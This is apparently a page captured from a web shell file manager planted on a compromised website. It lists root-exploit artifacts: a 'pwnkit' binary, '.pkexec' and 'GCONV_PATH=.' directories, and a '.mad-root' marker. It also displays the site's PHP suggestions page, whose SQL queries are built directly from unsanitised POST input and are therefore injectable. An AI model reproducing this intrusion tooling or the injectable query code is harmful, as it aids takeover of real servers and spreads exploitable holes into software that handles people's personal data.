Gecko [ www.thearyasamaj.org ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
css	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxr-xr-x
js	[ DIR ]	drwxr-xr-x
themes	[ DIR ]	drwxr-xr-x
ui	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
allsuggestions.php	7.3 KB	-rw-r--r--
index.php	655 B	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : allsuggestions.php

<?php 
//include("sessionValidate.php"); 
include("connection.php");
include("function.php");	
include("functionphotothumb.php");
$uid=$_SESSION["id"];
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Watch dog Gujarat</title>
<link href="home.css" rel="stylesheet" type="text/css" />

</head>
<body>
<?php include("header.php"); ?>
<?php include("menu.php"); ?>
<?php 
if($_SESSION['dorgid'] > 0)
{	
	//$_SESSION['selorgid']=$_GET["orgid"];
	include("organizationprofile.php");
}
else if($_SESSION["id"] > 0)
{
	include("profileleft.php"); 
}
else
{
	include("left.php");
}
$orgid=$_GET["orgid"];
?>
<div class="maindata">
<div class="welcome">

<p align="center" style="font-size:20px;"><?php echo $c_suggestionlist; ?></p>
<tr><td height="20"></td></tr>
	<tr><td>
		<table cellpadding="0" cellspacing="0" border="0"> 
	<tr>
		<td align="right"><?php echo $c_selorg; ?>&nbsp;:&nbsp;</td>
					<td>
						<select name="selorg" onchange="showDept(this.value);" class="regstr">
						<option value="0">---<?php echo $c_selorg; ?>---</option>
						<?php
							echo GetOrg($_POST["selorg"]);
						?>
						</select>
					</td>
					<td align="right">&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $c_seldept;?>&nbsp;:&nbsp;</td>
					<td>
                    				<?php
							$qrySelDepartment="SELECT * FROM com_department WHERE com_org_id='".$_POST["selorg"]."'";
							$qSelDepartment=mysql_query($qrySelDepartment);
							echo '<div id="txtDept">';
							echo '<select name="seldept" class="regstr"><option selected="selected">---'.$c_seldept.'---</option>';	
							while($qFetchDepartment=mysql_fetch_array($qSelDepartment))
							{
								if($qFetchDepartment["com_dept_id"]==$_POST["seldept"])
								{
									$selected12="selected = selected";
								}
								else
								{
									$selected12="";
								}
								if($_SESSION["langid"]==1)
								{
									echo "<option value='".$qFetchDepartment['com_dept_id']."' ".$selected12.">".$qFetchDepartment['com_dept_name']."</option>";
								}
								else if($_SESSION["langid"]==2)
								{
									echo "<option value='".$qFetchDepartment['com_dept_id']."' ".$selected12.">".$qFetchDepartment['comguj_dept_name']."</option>";
								}
							}
							echo '</select>';	 
							echo '</div>';
			?>
		</td>	
		</tr><tr><td height="10"></td></tr>
		<tr>
		<TD align="center" colspan="4"><input type="submit" name="Search" value="<?php echo $c_search;?>" class="button blue"></TD></tr>
</table>
	</td></tr>
<tr><td height="10"></td></tr>
	<tr>
		<td align="center" colspan="9"> 
			<table cellpadding="0" cellspacing="0" width="100%" border="1" >
				<tr align="center" class="border"  bgcolor="#DDDDDD">
					<TD width="10%"><b><?php echo $c_suggestionid; ?></b></TD>
					<TD><b><?php echo $c_date; ?></b></TD>
					<TD><b><?php echo $c_contactno; ?></b></TD>
					<td><b><?php echo $c_organization;?></b></td>
					<TD><b><?php echo $c_department; ?></b></TD>
					<TD><b><?php echo $c_suggestiontitle; ?></b></TD>
					<TD width="10" ><b><?php echo $c_assignto; ?></b></TD>
				</tr>
				<?php
					if($_POST["selorg"])
					{
						if($_POST["seldept"] > 0)
						{
							$qrySelSuggestion="SELECT * FROM com_user_suggestion WHERE com_org_id='".$_POST["selorg"]."' AND com_dept_id='".$_POST["seldept"]."' order by com_suggestion_recorddate desc";
							
						}
						else
						{
							$qrySelSuggestion="SELECT * FROM com_user_suggestion WHERE com_org_id='".$_POST["selorg"]."' order by com_suggestion_recorddate desc";
						}
					}
					else
					{
						$qrySelSuggestion="SELECT * FROM com_user_suggestion order by com_suggestion_recorddate desc";
					}
					$qSelSuggestion=mysql_query($qrySelSuggestion);
					if(mysql_num_rows($qSelSuggestion)>0)
					{
						while($qFetchSelSuggesion=mysql_fetch_array($qSelSuggestion))
						{
							$sug_id=$qFetchSelSuggesion["com_suggestion_id"];
							$suggestion_id=$qFetchSelSuggesion["suggestion_id"];
							$sug_pendingdate=date("d-m-Y  G:i:s",strtotime($qFetchSelSuggesion["com_suggestion_recorddate"]));
							$suggestedid=$qFetchSelSuggesion["com_suggestion_addeduserid"];
							$suggestedname=getFieldValue("com_user_firstname","com_user_register","com_user_id='".$suggestedid."'");
 							$com_orgid=$qFetchSelSuggesion["com_org_id"];
 							$sug_orgname=getFieldValue("com_org_name","com_organization","com_org_id='".$com_orgid."'");
							$com_deptid=$qFetchSelSuggesion["com_dept_id"];
							$sug_deptname=getFieldValue("com_dept_name"," com_department","com_dept_id='".$com_deptid."'");
							$sug_title=$qFetchSelSuggesion["com_suggetion_title"];	
							$sug_text=$qFetchSelSuggesion["com_suggestion_text"];
							$sug_assign=$qFetchSelSuggesion["assign_to"];
							$sugassign=getFieldValue("com_user_name","com_user","com_user_id='".$sug_assign."'");
							$contactno=getFieldValue("com_contact_no"," com_user_register","com_user_id='".$suggestedid."'");
	
							
				?>
				<tr class="border" align="center">
					<td><a href='view_suggestionbyid.php?suggestionid=<?php echo $sug_id; ?>'><b><?php echo $suggestion_id;?></b></a></td>
					<td><?php echo $sug_pendingdate; ?></td>
					<td><?php echo $contactno;?></td>
					<td><?php echo $sug_orgname; ?></td>
					<td><?php echo $sug_deptname; ?></td>
					<td><?php echo $sug_title; ?></td>
					
					<td align="right">    
        <a class="thickbox" href="displaysuggestionstatus.php?suggestionid=<?php echo $sug_id; ?>&amp;KeepThis=true&amp;TB_iframe=true&amp;height=350&amp;width=580&amp;modal=true"><h3><?php echo $sugassign; ?></h3></a>
                        </td>
					
				</tr>
				<?php
						}
					}
					else
					{
				?>
				
				<tr><TD height="20" colspan="7" align="center"><?php echo $c_recordfound; ?></TD></tr>		
				<?php
					}
				?>
			</table>
		</td>
	</tr>
	<tr><td height="20"></td></tr>
</table>
</form>

</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
</div>
<?php include("footer.php"); ?>
</body>
</html>

${this.title}

Code Editor : allsuggestions.php